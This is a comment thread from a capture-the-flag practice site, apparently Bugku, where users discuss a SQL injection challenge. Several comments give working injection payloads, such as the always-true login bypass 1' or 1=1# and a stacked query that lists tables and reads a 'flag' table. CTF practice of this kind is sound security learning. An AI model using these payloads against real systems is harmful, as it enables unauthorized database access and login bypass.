评分(14)
解题动态
因吹斯听 攻破了该题 1小时前
倩123 攻破了该题 1天前
梦想成为最强白客 攻破了该题 2天前
月落曦辰 攻破了该题 2天前
安子愚 攻破了该题 4天前
ldj 攻破了该题 5天前
欧阳凌风 攻破了该题 6天前
Ann 攻破了该题 6天前
Marttin 攻破了该题 7天前
human 攻破了该题 7天前
rr5555 攻破了该题 8天前
kingx3 攻破了该题 8天前
超级小yu 攻破了该题 9天前
阿斯顿马丁 攻破了该题 10天前
Amy 攻破了该题 10天前
283026 攻破了该题 11天前
weyu 攻破了该题 11天前
一江明月送归舟 攻破了该题 11天前
ddd_mifan 攻破了该题 12天前
评论
青春6666 1月前
举报
1 ' or 1= 1 order by 2#
xiaoman 1月前
举报
id直接输入bugku，就可以出flag了
乔qiao 3月前
举报
逗我呢 万能密码直接出？我还一个一个注入无敌了，坑我五个币
lover 3月前
举报
1' or 1=1#
我的刀盾 3月前
举报
研究了一下，本题有万能钥匙确实意外之喜，用fuzz测试可以看过滤的函数或字符，可以用布尔盲注，burp进行爆破。看评论还有堆叠注入。
bugkuaccount3214 5月前
举报
非预期解啊同志，我测是否有注入直接把真假flag一块爆出来了……
极品老学生 6月前
举报
关于万能密码《1' or 1=1#》的故事
shrinp 9月前
举报
(1)万能密码的使用-》 1' or 1=1;#-- (2)堆叠注入的使用-》 1';show tables;show columns from flag; handler flag open;handler flag read first;handler flag read next;
奔跑的开开 12月前
举报
1' or 1=1#
一个姓⎝李⎠的师傅~ 1年前
举报
2 个小时，从试错 sqlmap 原理到万能密码以及原理！ 最重要的是手动注入，绕过，堆叠查询，以及表名 flag 到底怎么知道的！ 一篇文章全给你讲明白： https://www.yuque.com/u21437924/ap9vtm/gqkc3dcfmfpe5p85?singleDoc#k12At